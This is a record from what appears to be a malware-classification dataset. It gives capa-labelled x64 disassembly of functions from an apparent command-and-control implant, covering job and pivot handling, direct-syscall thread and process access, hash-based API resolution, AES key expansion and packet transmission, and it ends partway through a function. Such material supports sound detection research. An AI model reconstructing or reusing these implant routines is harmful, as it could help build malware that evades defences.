joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140016ba0
Capabilities:
Print debug messages

Disassembly:
push rbp
mov r10d, ecx
mov ecx, 0x134
mov rbp, rsp
push r15
push r14
mov r14d, r9d
push r13
push r12
push rdi
push rsi
mov rsi, rdx
push rbx
mov ebx, r8d
and rsp, 0xfffffffffffffff0
sub rsp, 0x560
mov rax, qword [0x14002d650]
lea rdi, [rsp + 0x90]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x48], 0
mov rax, qword [rax]
lea r8, [rsp + 0x60]
mov edx, dword [rax + 0x4c]
xor eax, eax
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 0xc
rep stosd dword [rdi], eax
mov eax, edx
lea rcx, [rsp + 0x48]
mov edx, 0x1fffff
mov qword [rsp + 0x50], rax
mov eax, r10d
mov dword [rsp + 0x60], 0x30
mov qword [rsp + 0x58], rax
call sym.SysNtOpenThread
test eax, eax
js 0x140016d55
mov rcx, qword [rsp + 0x48]
lea r13, [rsp + 0x90]
mov dword [rsp + 0xc0], 0x100010
mov rdx, r13
call sym.SysNtGetContextThread
mov r12d, eax
test eax, eax
js 0x140016d58
movzx eax, bl
lea r12, [rsp + rax*8 + 0xd8]
test r14b, r14b
je 0x140016cb1
movzx ebx, bl
mov edx, 3
mov qword [r12], rsi
lea r8d, [rbx*4 + 0x10]
mov rax, rdx
add ebx, ebx
lea ecx, [r8 + 2]
shl rax, cl
mov ecx, r8d
shl rdx, cl
or rax, rdx
not rax
and rax, qword [rsp + 0x100]
bts rax, rbx
mov qword [rsp + 0x100], rax
jmp 0x140016d3f
cmp rsi, qword [r12]
jne 0x140016d3f
mov qword [rsp + 0x20], rsi
mov rax, qword [rsp + 0x100]
movzx r9d, bl
lea r15, str.HwBpEngineSetBp
lea r14, str._DEBUG::_s::_d__Dr_Registers:___n__Dr0__d_:__p___n__Dr7___:__p___n
mov r8d, 0x69
mov rdx, r15
mov dword [rsp + 0x3c], r9d
mov qword [rsp + 0x28], rax
mov rcx, r14
call sym.DbgPrint
mov r9d, dword [rsp + 0x3c]
mov rdx, r15
mov rax, 0xfffffffffffffffe
mov qword [r12], 0
mov r8d, 0x74
lea ecx, [r9 + r9]
rol rax, cl
and rax, qword [rsp + 0x100]
mov rcx, r14
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x28], rax
mov rax, qword [r12]
mov qword [rsp + 0x20], rax
call sym.DbgPrint
mov rcx, qword [rsp + 0x48]
mov rdx, r13
call sym.SysNtSetContextThread
mov r12d, eax
test eax, eax
jns 0x140016d67
jmp 0x140016d58
xor r12d, r12d
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140016d67
call sym.SysNtClose
lea rsp, [rbp - 0x38]
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140017020
Capabilities:
Print debug messages

Disassembly:
push r13
xor eax, eax
mov ecx, 0x66
push r12
push rdi
push rbx
sub rsp, 0x1c8
mov rbx, qword [0x14002d650]
lea rdi, [rsp + 0x28]
rep stosd dword [rdi], eax
mov rax, qword [rbx]
mov r12d, dword [rax + 0xc]
test r12d, r12d
jne 0x1400170b5
lea r13, str.InitWSA
lea r9, str.Init_Windows_Socket...
mov r8d, 0x29
mov rdx, r13
lea rcx, [0x14002a540]
call sym.printf.constprop.0_9
mov rax, qword [rbx]
lea rdx, [rsp + 0x28]
mov ecx, 0x202
call qword [rax + 0x740]
mov r9d, eax
test eax, eax
je 0x1400170ab
mov r8d, 0x2d
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__WSAStartup_Failed:__d_n
call sym.DbgPrint
mov rax, qword [rbx]
call qword [rax + 0x748]
jmp 0x1400170bb
mov rax, qword [rbx]
mov dword [rax + 0xc], 1
mov r12d, 1
add rsp, 0x1c8
mov eax, r12d
pop rbx
pop rdi
pop r12
pop r13
ret
Function at 0x1400177c0
Capabilities:
Print debug messages

Disassembly:
push r14
movsx eax, r9w
push r13
push r12
push rbp
mov ebp, ecx
lea rcx, str._DEBUG::_s::_d__Add_job___JobID:__d__Type:__d__State:__d__Handle:__d__Data:__p__n
push rdi
mov edi, edx
push rsi
mov esi, r8d
push rbx
mov ebx, r9d
mov r9d, edx
lea rdx, str.JobAdd
sub rsp, 0x40
mov r13, qword [rsp + 0xa0]
mov r12, qword [rsp + 0xa8]
mov dword [rsp + 0x28], eax
movsx eax, r8w
mov dword [rsp + 0x20], eax
mov r8d, 0x13
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r13
call sym.DbgPrint
mov edx, 0x28
mov ecx, 0x40
mov r14, qword [0x14002d650]
mov rax, qword [r14]
call qword [rax + 0x3a8]
mov rcx, qword [r14]
mov dword [rax], ebp
mov rdx, qword [rcx + 0x90a]
mov dword [rax + 4], edi
mov word [rax + 8], si
mov word [rax + 0xa], bx
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r12
mov qword [rax + 0x20], 0
test rdx, rdx
jne 0x14001786d
mov qword [rcx + 0x90a], rax
jmp 0x14001787d
mov rcx, rdx
mov rdx, qword [rdx + 0x20]
test rdx, rdx
jne 0x14001786d
mov qword [rcx + 0x20], rax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x140017b50
Capabilities:
Print debug messages

Disassembly:
push r15
lea r15, str._DEBUG::_s::_d__PeekNamedPipe:_Available_anon_size__d_n
push r14
mov r14d, ecx
push r13
lea r13, str.JobKill
push r12
xor r12d, r12d
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov rsi, qword [0x14002d650]
mov rax, qword [rsi]
mov rbx, qword [rax + 0x90a]
test rbx, rbx
je 0x140017ddd
cmp dword [rbx + 4], r14d
jne 0x140017dd4
mov r9d, r14d
mov r8d, 0x11f
mov rdx, r13
mov r12d, 1
lea rcx, str._DEBUG::_s::_d__Found_Job_ID:__d_n
call sym.DbgPrint
mov eax, dword [rbx + 8]
cmp ax, 2
je 0x140017cae
cmp ax, 3
je 0x140017ccd
dec ax
jne 0x140017dcc
cmp word [rbx + 0xa], 3
je 0x140017dcc
lea rcx, [0x1400295d0]
lea r9, str.Kill_Thread
mov r8d, 0x127
mov rdx, r13
call sym.printf.constprop.0_16
cmp qword [rbx + 0x10], 0
lea rcx, [0x1400295d0]
je 0x140017c91
lea r9, str.Kill_using_handle
mov r8d, 0x12c
mov rdx, r13
call sym.printf.constprop.0_16
mov rax, qword [rsi]
mov rcx, qword [rbx + 0x10]
xor edx, edx
call qword [rax + 0x2b0]
mov r9d, eax
test eax, eax
jns 0x140017c83
mov rdx, r13
mov r8d, 0x130
lea rcx, str._DEBUG::_s::_d__TerminateThread_NtStatus:__ul__n
mov dword [rsp + 0x38], eax
call sym.DbgPrint
mov rax, qword [rsi]
mov ecx, dword [rsp + 0x38]
mov rdi, qword [rax + 0x8c2]
call qword [rax + 0x160]
mov ecx, 1
mov dword [rdi + 0x68], eax
mov rax, qword [rsi]
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x140017ca6
mov rax, qword [rsi]
dec dword [rax + 0x8ca]
jmp 0x140017dcc
lea r9, str.Handle_is_empty
mov r8d, 0x13d
mov rdx, r13
call sym.printf.constprop.0_16
xor r12d, r12d
jmp 0x140017dcc
cmp word [rbx + 0xa], 3
je 0x140017dcc
mov rax, qword [rsi]
mov rcx, qword [rbx + 0x10]
xor edx, edx
call qword [rax + 0x3d8]
jmp 0x140017dcc
cmp word [rbx + 0xa], 3
je 0x140017dcc
mov rax, qword [rsi]
xor edx, edx
mov rcx, qword [rbx + 0x10]
lea rdi, [rsp + 0x4c]
call qword [rax + 0x3d8]
mov rcx, qword [rbx + 0x18]
mov rax, qword [rsi]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rdi
mov rcx, qword [rcx]
mov dword [rsp + 0x4c], 0
call qword [rax + 0x360]
test eax, eax
je 0x140017dc6
mov r9d, dword [rsp + 0x4c]
mov r8d, 0x159
mov rdx, r13
mov rcx, r15
call sym.DbgPrint
mov ebp, dword [rsp + 0x4c]
test ebp, ebp
je 0x140017dc6
mov rax, qword [rsi]
mov rdx, rbp
mov ecx, 0x40
call qword [rax + 0x3a8]
mov rcx, qword [rbx + 0x18]
mov r8d, dword [rsp + 0x4c]
mov r9, rdi
mov r12, rax
mov rax, qword [rsi]
mov qword [rsp + 0x20], 0
mov rdx, r12
mov rcx, qword [rcx]
call qword [rax + 0x398]
test eax, eax
je 0x140017dab
mov edx, dword [rbx]
mov ecx, 0x5a
call sym.PackageCreateWithRequestID
mov r8d, dword [rsp + 0x4c]
mov rdx, r12
mov rcx, rax
mov qword [rsp + 0x38], rax
call sym.PackageAddBytes
mov rcx, qword [rsp + 0x38]
call sym.PackageTransmit
test r12, r12
je 0x140017dc6
mov rdi, r12
mov rcx, rbp
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rsi]
mov rcx, r12
call qword [rax + 0x3b0]
mov r12d, 1
mov ecx, r14d
call sym.JobRemove
mov rbx, qword [rbx + 0x20]
jmp 0x140017b85
add rsp, 0x58
mov eax, r12d
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140017e00
Capabilities:
Print debug messages

Disassembly:
push r13
lea r13, str.JobRemove
mov r9d, ecx
mov r8d, 0x182
push r12
mov rdx, r13
push rdi
mov edi, ecx
lea rcx, str._DEBUG::_s::_d__Remove_JobID:__d_n
push rbx
sub rsp, 0x28
call sym.DbgPrint
lea r9, str.Iterate_over_Job_list_and_replace_remove_job
mov rdx, r13
mov r8d, 0x183
lea rcx, [0x1400295d0]
call sym.printf.constprop.0_16
mov rbx, qword [0x14002d650]
mov rax, qword [rbx]
mov r12, qword [rax + 0x90a]
test r12, r12
je 0x140017e64
cmp dword [r12 + 4], edi
je 0x140017e6c
mov rdx, r12
xor r12d, r12d
jmp 0x140017e93
mov rdx, qword [r12 + 0x20]
mov qword [rax + 0x90a], rdx
jmp 0x140017ec4
mov rax, qword [rdx + 0x20]
test rax, rax
je 0x140017e98
cmp dword [rax + 4], edi
jne 0x140017ebf
mov rcx, qword [rax + 0x20]
mov r12, rax
mov qword [rdx + 0x20], rcx
test rdx, rdx
jne 0x140017e7a
test r12, r12
jne 0x140017ec4
add rsp, 0x28
mov r9d, edi
mov rdx, r13
mov r8d, 0x1a0
pop rbx
lea rcx, str._DEBUG::_s::_d__JobID__d_not_found_n
pop rdi
pop r12
pop r13
jmp sym.DbgPrint
mov rdx, rax
jmp 0x140017e93
mov rcx, qword [r12 + 0x10]
test rcx, rcx
je 0x140017ed3
call sym.SysNtClose
cmp word [r12 + 8], 3
jne 0x140017f06
mov rdi, qword [r12 + 0x18]
test rdi, rdi
je 0x140017f06
mov ecx, 0x10
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, qword [r12 + 0x18]
call qword [rax + 0x3b0]
mov qword [r12 + 0x18], 0
mov rdi, r12
mov ecx, 0x28
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, r12
mov rax, qword [rax + 0x3b0]
add rsp, 0x28
pop rbx
pop rdi
pop r12
pop r13
jmp rax

Function at 0x140017f30
Capabilities:
Print debug messages

Disassembly:
push r13
lea r13, str._DEBUG::_s::_d__Found_Job_ID:__d
push r12
lea r12, str.JobResume
push rsi
mov esi, ecx
push rbx
sub rsp, 0x28
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rbx, qword [rax + 0x90a]
test rbx, rbx
je 0x140017fd8
cmp dword [rbx + 4], esi
jne 0x140017fdc
mov r9d, esi
mov r8d, 0xee
mov rdx, r12
mov rcx, r13
call sym.DbgPrint
cmp word [rbx + 8], 1
jne 0x140017fdc
lea r13, [0x1400295d0]
lea r9, str.Resume_Thread
mov r8d, 0xf2
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_16
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140017fc0
xor edx, edx
call sym.SysNtResumeThread
test eax, eax
js 0x140017fd8
mov word [rbx + 0xa], 1
mov eax, 1
jmp 0x140017fe5
lea r9, str.Handle_is_empty
mov r8d, 0x103
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_16
xor eax, eax
jmp 0x140017fe5
mov rbx, qword [rbx + 0x20]
jmp 0x140017f5b
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x140017ff0
Capabilities:
Print debug messages

Disassembly:
push r13
lea r13, str._DEBUG::_s::_d__Found_Job_ID:__d
push r12
lea r12, str.JobSuspend
push rsi
mov esi, ecx
push rbx
sub rsp, 0x28
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rbx, qword [rax + 0x90a]
test rbx, rbx
je 0x140018098
cmp dword [rbx + 4], esi
jne 0x14001809c
mov r9d, esi
mov r8d, 0xc0
mov rdx, r12
mov rcx, r13
call sym.DbgPrint
cmp word [rbx + 8], 1
jne 0x14001809c
lea r13, [0x1400295d0]
lea r9, str.Suspending_Thread
mov r8d, 0xc4
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_16
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140018080
xor edx, edx
call sym.SysNtSuspendThread
test eax, eax
js 0x140018098
mov word [rbx + 0xa], 2
mov eax, 1
jmp 0x1400180a5
lea r9, str.Handle_is_empty
mov r8d, 0xd4
mov rdx, r12
mov rcx, r13
call sym.printf.constprop.0_16
xor eax, eax
jmp 0x1400180a5
mov rbx, qword [rbx + 0x20]
jmp 0x14001801b
add rsp, 0x28
pop rbx
pop rsi
pop r12
pop r13
ret

Function at 0x1400180b0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push rsi
xor eax, eax
push rbx
mov r8b, byte [rdx + rax]
mov byte [rcx + rax], r8b
mov r8b, byte [rdx + rax + 1]
mov byte [rcx + rax + 1], r8b
mov r8b, byte [rdx + rax + 2]
mov byte [rcx + rax + 2], r8b
mov r8b, byte [rdx + rax + 3]
mov byte [rcx + rax + 3], r8b
add rax, 4
cmp rax, 0x20
jne 0x1400180b4
mov r11d, 8
lea r10, str.cw
lea rbx, [0x14002d8a0]
mov esi, r11d
movzx r9d, byte [rcx + 0x1c]
movzx r8d, byte [rcx + 0x1d]
movzx edx, byte [rcx + 0x1e]
movzx eax, byte [rcx + 0x1f]
and esi, 7
jne 0x140018132
mov sil, byte [r10 + r8]
mov r8b, byte [r10 + rdx]
mov dl, byte [r10 + rax]
mov al, byte [r10 + r9]
mov r9d, r11d
shr r9d, 3
xor sil, byte [rbx + r9]
mov r9d, esi
jmp 0x140018147
cmp esi, 4
jne 0x140018147
mov r9b, byte [r10 + r9]
mov r8b, byte [r10 + r8]
mov dl, byte [r10 + rdx]
mov al, byte [r10 + rax]
xor r9b, byte [rcx]
xor r8b, byte [rcx + 1]
inc r11d
add rcx, 4
xor dl, byte [rcx - 2]
xor al, byte [rcx - 1]
mov byte [rcx + 0x1c], r9b
mov byte [rcx + 0x1d], r8b
mov byte [rcx + 0x1e], dl
mov byte [rcx + 0x1f], al
cmp r11d, 0x3c
jne 0x1400180f8
pop rbx
pop rsi
ret
Function at 0x140018760
Capabilities:
Print debug messages
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
test rcx, rcx
je 0x1400188a6
mov r9d, edx
test edx, edx
je 0x1400188a6
movsxd rax, dword [rcx + 0x3c]
mov r12, rcx
xor ebx, ebx
add rax, rcx
mov r10d, dword [rax + 0x88]
mov esi, dword [rax + 0x8c]
lea r15, [rcx + r10]
mov eax, dword [r15 + 0x18]
mov r14d, dword [r15 + 0x20]
mov ebp, dword [r15 + 0x1c]
mov r13d, dword [r15 + 0x24]
mov dword [rsp + 0x2c], eax
add r14, rcx
cmp dword [rsp + 0x2c], ebx
jbe 0x14001888d
mov edi, dword [r14 + rbx*4]
mov r8d, 1
xor edx, edx
mov dword [rsp + 0xa8], r9d
add rdi, r12
mov rcx, rdi
call sym.HashEx
mov r9d, dword [rsp + 0xa8]
mov r8d, eax
lea rax, [rbx + 1]
cmp r8d, r9d
jne 0x140018885
add rbx, rbx
add rbx, r12
movzx eax, word [rbx + r13]
lea rax, [r12 + rax*4]
mov eax, dword [rax + rbp]
add rax, r12
mov qword [rsp + 0x38], rax
cmp rax, r15
jae 0x140018836
mov rax, qword [rsp + 0x38]
jmp 0x1400188a8
add rsi, r12
add rsi, r15
cmp rax, rsi
jae 0x14001882f
call sym.StringLengthA
mov qword [rsp + 0x48], rdi
mov word [rsp + 0x40], ax
inc eax
mov word [rsp + 0x42], ax
mov rax, qword [0x14002d650]
mov rax, qword [rax]
mov rax, qword [rax + 0x138]
test rax, rax
je 0x1400188a6
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea r9, [rsp + 0x38]
mov rcx, r12
call rax
test eax, eax
jns 0x14001882f
jmp 0x1400188a6
mov rbx, rax
jmp 0x1400187d3
mov r8d, 0x1ae
lea rdx, str.LdrFunctionAddr
lea rcx, str._DEBUG::_s::_d__API_not_found:_FunctionHash:__lx__n
call sym.DbgPrint
xor eax, eax
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x1400188c0
Capabilities:
Print debug messages
Resolve function by parsing pe exports

Disassembly:
push r13
mov r8d, 1
mov r13, rcx
push r12
mov r12, rdx
xor edx, edx
mov rcx, r12
sub rsp, 0x38
call sym.HashEx
mov qword [rsp + 0x20], r12
mov r9, r13
mov r8d, 0x1c
mov dword [rsp + 0x28], eax
lea rdx, str.LdrFunctionAddrString
lea rcx, str._DEBUG::_s::_d__Module:__p__Function:__s_:__lx__n
call sym.DbgPrint
mov rcx, r12
xor edx, edx
mov r8d, 1
call sym.HashEx
add rsp, 0x38
mov rcx, r13
pop r12
mov edx, eax
pop r13
jmp sym.LdrFunctionAddr
Function at 0x1400195c0
Capabilities:
Print debug messages

Disassembly:
push r14
lea r14, str.MmVirtualAlloc
push r13
mov r13, rdx
push r12
mov r12d, r9d
push rsi
mov esi, ecx
push rbx
sub rsp, 0x50
mov rbx, qword [0x14002d650]
mov qword [rsp + 0x90], r8
mov qword [rsp + 0x48], 0
mov rax, qword [rbx]
cmp dword [rax + 0xe4], 0
je 0x14001961a
test ecx, ecx
je 0x14001962d
mov ecx, 0x59
call sym.PackageCreate
mov edx, 0xa
mov rcx, rax
call sym.PackageAddInt32
cmp esi, 2
je 0x1400196e5
ja 0x140019748
test esi, esi
jne 0x140019673
lea r9, str.DX_MEM_DEFAULT
mov r8d, 0x4f
mov rdx, r14
lea rcx, [0x1400299e0]
call sym.printf.constprop.0_17
mov rax, qword [rbx]
mov r9d, r12d
mov rdx, r13
mov r8, qword [rsp + 0x90]
mov ecx, dword [rax + 0xfc]
test ecx, ecx
jne 0x140019669
mov ecx, 2
call sym.MmVirtualAlloc
jmp 0x1400197d1
mov rax, qword [rsp + 0x90]
mov dword [rsp + 0x30], r12d
mov r9, r13
mov rdx, r14
mov dword [rsp + 0x28], 0x3000
mov r8d, 0x58
lea rcx, str._DEBUG::_s::_d__VirtualAllocEx___x__NULL___ld___ld___ld____
mov qword [rsp + 0x20], rax
call sym.DbgPrint
mov rax, qword [rbx]
xor edx, edx
mov rcx, r13
mov r8, qword [rsp + 0x90]
mov dword [rsp + 0x20], r12d
mov r9d, 0x3000
call qword [rax + 0x320]
mov r8d, 0x5a
mov rdx, r14
lea rcx, str._DEBUG::_s::_d___p_n
mov r9, rax
mov qword [rsp + 0x48], rax
call sym.DbgPrint
jmp 0x140019748
mov dword [rsp + 0x28], r12d
mov rcx, r13
lea rdx, [rsp + 0x48]
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x90]
call sym.SysNtAllocateVirtualMemory
mov r13d, eax
test eax, eax
jns 0x140019748
mov r9d, eax
mov r8d, 0x60
mov rdx, r14
lea rcx, str._DEBUG::_s::_d______NtAllocateVirtualMemory:_Failed:__lx__n
call sym.DbgPrint
mov rax, qword [rbx]
mov ecx, r13d
mov rsi, qword [rax + 0x8c2]
call qword [rax + 0x160]
mov qword [rsp + 0x48], 0
mov dword [rsi + 0x68], eax
mov rax, qword [rsp + 0x90]
mov r9, qword [rsp + 0x48]
mov r8d, 0x6d
mov rdx, r14
lea rcx, str._DEBUG::_s::_d__Memory:__p__MemSize:__d__n
mov qword [rsp + 0x20], rax
call sym.DbgPrint
cmp qword [rsp + 0x48], 0
je 0x1400197cc
mov rax, qword [rbx]
cmp dword [rax + 0xe4], 0
je 0x1400197cc
mov ecx, 0x59
call sym.PackageCreate
mov edx, 0xa
mov rcx, rax
mov r13, rax
call sym.PackageAddInt32
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call sym.PackageAddPtr
mov edx, dword [rsp + 0x90]
mov rcx, r13
call sym.PackageAddInt32
mov rcx, r13
mov edx, r12d
call sym.PackageAddInt32
mov rcx, r13
call sym.PackageTransmit
mov rax, qword [rsp + 0x48]
add rsp, 0x50
pop rbx
pop rsi
pop r12
pop r13
pop r14
ret

Function at 0x14001a1d0
Capabilities:
Print debug messages

Disassembly:
push r14
mov r9d, edx
mov r8d, 0x1dd
mov r14d, ecx
push r13
lea rcx, str._DEBUG::_s::_d__Transmit_Error:__d_n
mov r13d, edx
lea rdx, str.PackageTransmitError
push r12
sub rsp, 0x20
call sym.DbgPrint
mov ecx, 0x5b
call sym.PackageCreate
mov edx, r14d
mov r12, rax
mov rcx, rax
call sym.PackageAddInt32
mov rcx, r12
mov edx, r13d
call sym.PackageAddInt32
add rsp, 0x20
mov rcx, r12
pop r12
pop r13
pop r14
jmp sym.PackageTransmit
Function at 0x14001a970
Capabilities:
Print debug messages

Disassembly:
push r13
mov r9, rcx
xor eax, eax
mov ecx, 8
push r12
mov r8d, edx
mov rdx, r9
push rdi
sub rsp, 0x40
lea r12, [rsp + 0x20]
lea rdi, [rsp + 0x20]
rep stosd dword [rdi], eax
mov rcx, r12
call sym.ParserNew
mov rcx, r12
call sym.ParserGetInt32
mov rcx, r12
call sym.ParserGetInt32
mov rcx, r12
call sym.ParserGetInt32
mov r8d, 0x157
lea rdx, str.PivotParseDemonID
lea rcx, str._DEBUG::_s::_d__Parsed_DemonID____x_n
bswap eax
mov r9d, eax
mov r13d, eax
call sym.DbgPrint
mov rcx, r12
call sym.ParserDestroy
add rsp, 0x40
mov eax, r13d
pop rdi
pop r12
pop r13
ret
Function at 0x14001acc0
Capabilities:
Print debug messages

Disassembly:
push r12
mov r9d, ecx
lea rdx, str.PivotRemove
mov r8d, 0x8d
push rdi
mov edi, ecx
lea rcx, str._DEBUG::_s::_d__Remove_pivot__x_n
push rsi
push rbx
sub rsp, 0x28
call sym.DbgPrint
mov rbx, qword [0x14002d650]
mov ecx, edi
mov rax, qword [rbx]
mov rdx, qword [rax + 0x902]
call sym.PivotGet
test rdx, rdx
je 0x14001ae5e
test rax, rax
mov r12, rax
sete al
je 0x14001ae5e
mov rsi, qword [rdx + 0x20]
cmp dword [rdx], edi
jne 0x14001adc9
mov rdi, qword [rdx + 8]
test rdi, rdi
je 0x14001ad45
mov ecx, dword [rdx + 0x10]
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rdx, qword [rax + 0x902]
mov rcx, qword [rdx + 8]
call qword [rax + 0x3b0]
mov rax, qword [rbx]
mov rdx, qword [rax + 0x902]
mov rcx, qword [rdx + 0x18]
test rcx, rcx
je 0x14001ad71
call qword [rax + 0x368]
mov rax, qword [rbx]
mov rax, qword [rax + 0x902]
mov rcx, qword [rax + 0x18]
call sym.SysNtClose
mov rax, qword [rbx]
mov ecx, 0x28
mov rdi, qword [rax + 0x902]
xor eax, eax
mov qword [rdi + 8], 0
mov dword [rdi + 0x10], 0
mov qword [rdi + 0x18], 0
mov dword [rdi], 0
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, qword [rax + 0x902]
call qword [rax + 0x3b0]
mov rax, qword [rbx]
mov qword [rax + 0x902], rsi
jmp 0x14001ae57
test rdx, rdx
je 0x14001ae5e
mov rax, rdx
mov rdx, qword [rdx + 0x20]
cmp rdx, r12
jne 0x14001adc0
mov rdx, qword [r12 + 0x20]
mov rdi, qword [r12 + 8]
mov qword [rax + 0x20], rdx
test rdi, rdi
je 0x14001adff
mov ecx, dword [r12 + 0x10]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, qword [r12 + 8]
call qword [rax + 0x3b0]
mov rcx, qword [r12 + 0x18]
test rcx, rcx
je 0x14001ae1c
mov rax, qword [rbx]
call qword [rax + 0x368]
mov rcx, qword [r12 + 0x18]
call sym.SysNtClose
mov qword [r12 + 8], 0
mov rdi, r12
mov ecx, 0x28
xor eax, eax
mov dword [r12 + 0x10], 0
mov qword [r12 + 0x18], 0
mov dword [r12], 0
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, r12
call qword [rax + 0x3b0]
mov eax, 1
jmp 0x14001ae60
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
ret
Function at 0x14001b580
Capabilities:
Print debug messages

Disassembly:
push r12
xor r12d, r12d
push rbx
sub rsp, 0x48
mov qword [rsp + 0x38], 0
test rcx, rcx
je 0x14001b5f5
mov rax, qword [0x14002d650]
mov rax, qword [rax]
cmp word [rax + 0x58], 0
je 0x14001b5f5
mov r9d, 8
lea r8, [rsp + 0x38]
mov edx, 0x1a
mov rbx, rcx
mov qword [rsp + 0x20], 0
call sym.SysNtQueryInformationProcess
test eax, eax
jns 0x14001b5f0
mov dword [rsp + 0x20], eax
mov r9, rbx
mov r8d, 0x22f
lea rdx, str.ProcessIsWow
lea rcx, str._DEBUG::_s::_d______NtQueryInformationProcess_Failed:_Handle__x__Status__lx__n
call sym.DbgPrint
jmp 0x14001b5f5
mov r12d, dword [rsp + 0x38]
add rsp, 0x48
mov eax, r12d
pop rbx
pop r12
ret

Function at 0x14001b600
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x28
call sym.MemFileIsNew
test eax, eax
je 0x14001b616
add rsp, 0x28
jmp sym.NewMemFile
add rsp, 0x28
jmp sym.MemFileReadChunk

Function at 0x14001b620
Capabilities:
Print debug messages

Disassembly:
push r12
mov r8d, ecx
xor eax, eax
mov ecx, 0xc
push rdi
sub rsp, 0x78
lea rdi, [rsp + 0x40]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x28], 0
rep stosd dword [rdi], eax
mov eax, r8d
lea rcx, [rsp + 0x28]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x40], 0x30
mov qword [rsp + 0x30], rax
call sym.SysNtOpenProcess
mov r12d, eax
mov rax, qword [rsp + 0x28]
test r12d, r12d
jns 0x14001b6b6
mov r9d, r12d
mov r8d, 0x213
lea rdx, str.ProcessOpen
lea rcx, str._DEBUG::_s::_d__NtOpenProcess_Failed____lx_n
call sym.DbgPrint
mov rax, qword [0x14002d650]
mov ecx, r12d
mov rax, qword [rax]
mov rdi, qword [rax + 0x8c2]
call qword [rax + 0x160]
mov dword [rdi + 0x68], eax
xor eax, eax
add rsp, 0x78
pop rdi
pop r12
ret

Function at 0x14001b6c0
Capabilities:
Print debug messages

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x38
mov dword [rsp + 0x2c], 0
test rcx, rcx
je 0x14001b6df
mov rbx, rdx
test rdx, rdx
jne 0x14001b6ea
mov r12d, 0xc000000d
jmp 0x14001b788
lea rsi, [rsp + 0x2c]
mov r12, rcx
xor r8d, r8d
xor edx, edx
mov r9, rsi
mov ecx, 5
call sym.SysNtQuerySystemInformation
test eax, eax
jns 0x14001b6df
mov r9d, dword [rsp + 0x2c]
lea r13, str.ProcessSnapShot
mov r8d, 0x35e
lea rcx, str._DEBUG::_s::_d__SystemProcessInformation_Length:__d_n
mov rdx, r13
call sym.DbgPrint
mov eax, dword [rsp + 0x2c]
lea ecx, [rax + 0x1000]
mov dword [rsp + 0x2c], ecx
call sym.MmHeapAlloc
mov qword [r12], rax
mov rdx, rax
test rax, rax
je 0x14001b77b
mov r8d, dword [rsp + 0x2c]
mov r9, rsi
mov ecx, 5
call sym.SysNtQuerySystemInformation
mov r12d, eax
test eax, eax
jns 0x14001b781
mov r9d, eax
mov r8d, 0x367
mov rdx, r13
lea rcx, str._DEBUG::_s::_d__NtQuerySystemInformation_Failed:_Status__lx__n
call sym.DbgPrint
jmp 0x14001b788
mov r12d, 0xc0000017
mov eax, dword [rsp + 0x2c]
mov qword [rbx], rax
add rsp, 0x38
mov eax, r12d
pop rbx
pop rsi
pop r12
pop r13
ret
Function at 0x14001b7a0
Capabilities:
Print debug messages

Disassembly:
push r14
push r13
lea r13, str.ProcessTerminate
push r12
push rbx
sub rsp, 0x38
test rcx, rcx
jne 0x14001b829
mov r9d, edx
mov edx, 1
mov ecx, r9d
mov dword [rsp + 0x68], r9d
call sym.ProcessOpen
mov r9d, dword [rsp + 0x68]
test rax, rax
mov r12, rax
jne 0x14001b808
mov rax, qword [0x14002d650]
mov r8d, 0x330
mov rdx, r13
xor r14d, r14d
lea rcx, [0x14002ba52]
mov rax, qword [rax]
mov rax, qword [rax + 0x8c2]
mov r9d, dword [rax + 0x68]
call sym.DbgPrint
jmp 0x14001b885
mov qword [rsp + 0x20], rax
mov r8d, 0x334
mov rdx, r13
lea rcx, [0x14002ba8e]
mov ebx, 1
